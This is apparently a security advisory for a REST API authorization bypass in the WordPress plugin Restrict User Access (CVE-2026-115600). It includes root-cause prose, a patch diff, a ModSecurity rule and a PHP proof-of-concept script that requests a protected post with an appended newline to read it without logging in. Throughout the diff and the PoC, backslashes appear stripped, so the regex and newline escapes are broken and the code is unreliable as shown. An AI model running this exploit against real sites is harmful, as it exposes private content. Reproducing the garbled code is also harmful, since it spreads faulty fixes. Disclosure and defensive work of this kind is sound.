Atomic Edge analysis of CVE-2026-115600:
Atomic Edge analysis of CVE-2026-115600 identifies a Missing Authorization vulnerability (CWE-862) in the Restrict User Access plugin for WordPress, affecting all versions up to and including 2.8.3. The flaw resides in the RestApiContentProtection module, which is responsible for enforcing content restrictions on REST API routes. An unauthenticated attacker can bypass these restrictions and access protected content, leading to unauthorized information disclosure. The CVSS score of 5.3 reflects a medium severity issue with a network attack vector, low attack complexity, and no privileges required.
Root Cause: The vulnerability stems from the rest_api_access() method in src/Module/RestApiContentProtection.php. This method is hooked into the rest_pre_dispatch filter. It checks if the current user has the ‘edit_posts’ capability; if not, it proceeds to compare the requested route against a list of restricted routes generated by restricted_rest_routes(). The route normalization at line 54 uses preg_replace(‘#/d+$#’, ”, $request->get_route()) without trimming trailing newlines, allowing a route like ‘/wp/v2/posts/123n’ to evade the numeric ID removal and not match the restricted prefix ‘/wp/v2/posts’. Additionally, the restricted_rest_routes() generator at lines 86-120 originally built routes manually from post type and taxonomy objects using $post_type->rest_namespace and $post_type->rest_base. When these properties are empty, the code skipped the type, but it did not account for post types that are registered with custom routes or that use rest_get_route_for_post_type_items() which may return a different path. The patch replaces the manual construction with calls to rest_get_route_for_post_type_items() and rest_get_route_for_taxonomy_items(), which correctly return the canonical REST routes, including cases where rest_base is empty but a default route exists.
Exploitation: An unauthenticated attacker can exploit this by sending a crafted REST API request to a protected endpoint, such as /wp-json/wp/v2/posts/123, but appending a newline character to the URL (e.g., /wp-json/wp/v2/posts/123%0A). The newline bypasses the preg_replace that strips numeric IDs because the pattern expects digits at the end of the string, not before a newline. The route then fails to match the restricted route ‘/wp/v2/posts’, allowing the request to proceed. Additionally, if a custom post type is registered with an empty rest_base or a custom route, the manual construction in the vulnerable version may yield an incorrect route, causing the restriction to fail. Attackers can systematically probe REST endpoints for sensitive content (e.g., drafts, private posts) without authentication.
Patch Analysis: The patch addresses both issues. First, it adds rtrim($request->get_route(), “n”) to remove trailing newlines before normalization, ensuring that routes with newlines are correctly normalized and matched. Second, it replaces the manual route construction with WordPress core functions rest_get_route_for_post_type_items() and rest_get_route_for_taxonomy_items(), which return the correct REST routes for post types and taxonomies, including cases where rest_base is empty. The patch also updates the plugin version and minimum requirements. After the patch, the restricted routes list accurately reflects all registered routes, and the normalization strips newlines, preventing bypass.
Impact: Successful exploitation allows unauthenticated attackers to access restricted content via the REST API, potentially exposing private posts, pages, or other protected resources. This can lead to information disclosure, privacy breaches, and may aid in further attacks by revealing sensitive data. The vulnerability does not allow privilege escalation or remote code execution, but it undermines the plugin’s core access control functionality.
Below is a differential between the unpatched vulnerable code and the patched update, for reference.
--- a/restrict-user-access/app.php
+++ b/restrict-user-access/app.php
@@ -16,7 +16,7 @@
/**
* Plugin version
*/
- const PLUGIN_VERSION = '2.8.3';
+ const PLUGIN_VERSION = '2.8.4';
/**
* Prefix for metadata
--- a/restrict-user-access/restrict-user-access.php
+++ b/restrict-user-access/restrict-user-access.php
@@ -8,11 +8,11 @@
* Plugin Name: Restrict User Access
* Plugin URI: https://dev.institute/wordpress-memberships/
* Description: Easily restrict content and contexts to provide exclusive access for specific Access Levels.
- * Version: 2.8.3
+ * Version: 2.8.4
* Author: DEV Institute
* Author URI: https://dev.institute
- * Requires at least: 5.8
- * Requires PHP: 7.4
+ * Requires at least: 6.1
+ * Requires PHP: 8.2
* Text Domain: restrict-user-access
* Domain Path: /lang/
* License: GPLv3
--- a/restrict-user-access/src/Module/RestApiContentProtection.php
+++ b/restrict-user-access/src/Module/RestApiContentProtection.php
@@ -18,7 +18,7 @@
private $settingRepository;
public function __construct(
- SettingRepositoryInterface $settingRepository
+ SettingRepositoryInterface $settingRepository
) {
$this->settingRepository = $settingRepository;
}
@@ -35,7 +35,7 @@
public function rest_api_access($result, WP_REST_Server $server, WP_REST_Request $request)
{
- //Dispatch has already been handled elsewhere
+ // Dispatch has already been handled elsewhere
if ($result !== null) {
return $result;
}
@@ -48,14 +48,14 @@
return null;
}
- //Contributor is the lowest role that should have access,
- //since they can see content in admin area
+ // Contributor is the lowest role that should have access,
+ // since they can see content in admin area
if (current_user_can('edit_posts')) {
return null;
}
- //Treat /resource/123 as /resource
- $route = preg_replace('#/d+$#', '', $request->get_route());
+ // Treat /resource/123 as /resource
+ $route = preg_replace('#/d+$#', '', rtrim($request->get_route(), "n"));
$route = $this->normalize_rest_route($route);
foreach ($this->restricted_rest_routes() as $restricted_route) {
@@ -86,30 +86,32 @@
'wp_navigation' => true,
];
- foreach (get_post_types(array('show_in_rest' => true), 'objects') as $post_type) {
- if (
- empty($post_type->rest_base) ||
- isset($ignored_post_types[ $post_type->name ])
- ) {
+ foreach (get_post_types(['show_in_rest' => true], 'objects') as $post_type) {
+ if (isset($ignored_post_types[$post_type->name])) {
continue;
}
- yield '/' . $post_type->rest_namespace . '/' . $post_type->rest_base;
+ $route = rest_get_route_for_post_type_items($post_type->name);
+
+ if ($route !== null && $route !== '') {
+ yield $route;
+ }
}
$ignored_taxonomies = [
'menu' => true,
];
- foreach (get_taxonomies(array('show_in_rest' => true), 'objects') as $taxonomy) {
- if (
- empty($taxonomy->rest_base) ||
- isset($ignored_taxonomies[ $taxonomy->name ])
- ) {
+ foreach (get_taxonomies(['show_in_rest' => true], 'objects') as $taxonomy) {
+ if (isset($ignored_taxonomies[$taxonomy->name])) {
continue;
}
- yield '/' . $taxonomy->rest_namespace . '/' . $taxonomy->rest_base;
+ $route = rest_get_route_for_taxonomy_items($taxonomy->name);
+
+ if ($route !== null && $route !== '') {
+ yield $route;
+ }
}
}
--- a/restrict-user-access/vendor/composer/installed.php
+++ b/restrict-user-access/vendor/composer/installed.php
@@ -1,9 +1,9 @@
<?php return array(
'root' => array(
'name' => 'intoxstudio/restrict-user-access',
- 'pretty_version' => '2.8.3',
- 'version' => '2.8.3.0',
- 'reference' => '9013c5b37283327ffe450dfd59bed6e68fb756b1',
+ 'pretty_version' => '2.8.4',
+ 'version' => '2.8.4.0',
+ 'reference' => '4261936c4d8f5f3df47cee65d55f51f384adf4b8',
'type' => 'project',
'install_path' => __DIR__ . '/../../',
'aliases' => array(),
@@ -11,9 +11,9 @@
),
'versions' => array(
'intoxstudio/restrict-user-access' => array(
- 'pretty_version' => '2.8.3',
- 'version' => '2.8.3.0',
- 'reference' => '9013c5b37283327ffe450dfd59bed6e68fb756b1',
+ 'pretty_version' => '2.8.4',
+ 'version' => '2.8.4.0',
+ 'reference' => '4261936c4d8f5f3df47cee65d55f51f384adf4b8',
'type' => 'project',
'install_path' => __DIR__ . '/../../',
'aliases' => array(),
Here you will find our ModSecurity compatible rule to protect against this particular CVE.
# Atomic Edge WAF Rule - CVE-2026-115600
SecRule REQUEST_URI "@rx ^/wp-json/.*%0A$" "id:20261156,phase:2,deny,status:403,log,msg:'CVE-2026-115600: Restrict User Access newline bypass in REST API',severity:'CRITICAL',tag:'CVE-2026-115600',tag:'WordPress',chain"
SecRule REQUEST_METHOD "@streq GET" "t:none"
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-115600 - Restrict User Access <= 2.8.3 - Missing Authorization
$target_url = 'http://example.com'; // Change to your WordPress site URL
// Step 1: Attempt to access a protected REST endpoint (e.g., private post) without authentication.
// The vulnerable plugin restricts access to routes like /wp/v2/posts. We bypass by appending a newline.
$endpoint = '/wp-json/wp/v2/posts/1'; // Assume post ID 1 is protected
$bypass_url = $target_url . $endpoint . "%0A"; // URL-encoded newline
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $bypass_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_HEADER, false);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
echo "Requesting: $bypass_urln";
echo "HTTP Status: $http_coden";
echo "Response (first 500 chars):n" . substr($response, 0, 500) . "n";
if ($http_code == 200 && strpos($response, 'restricted') === false) {
echo "[+] Vulnerability confirmed: Accessed protected content without authentication.n";
} else {
echo "[-] Exploit may have failed (patch applied or content not found).n";
}
?>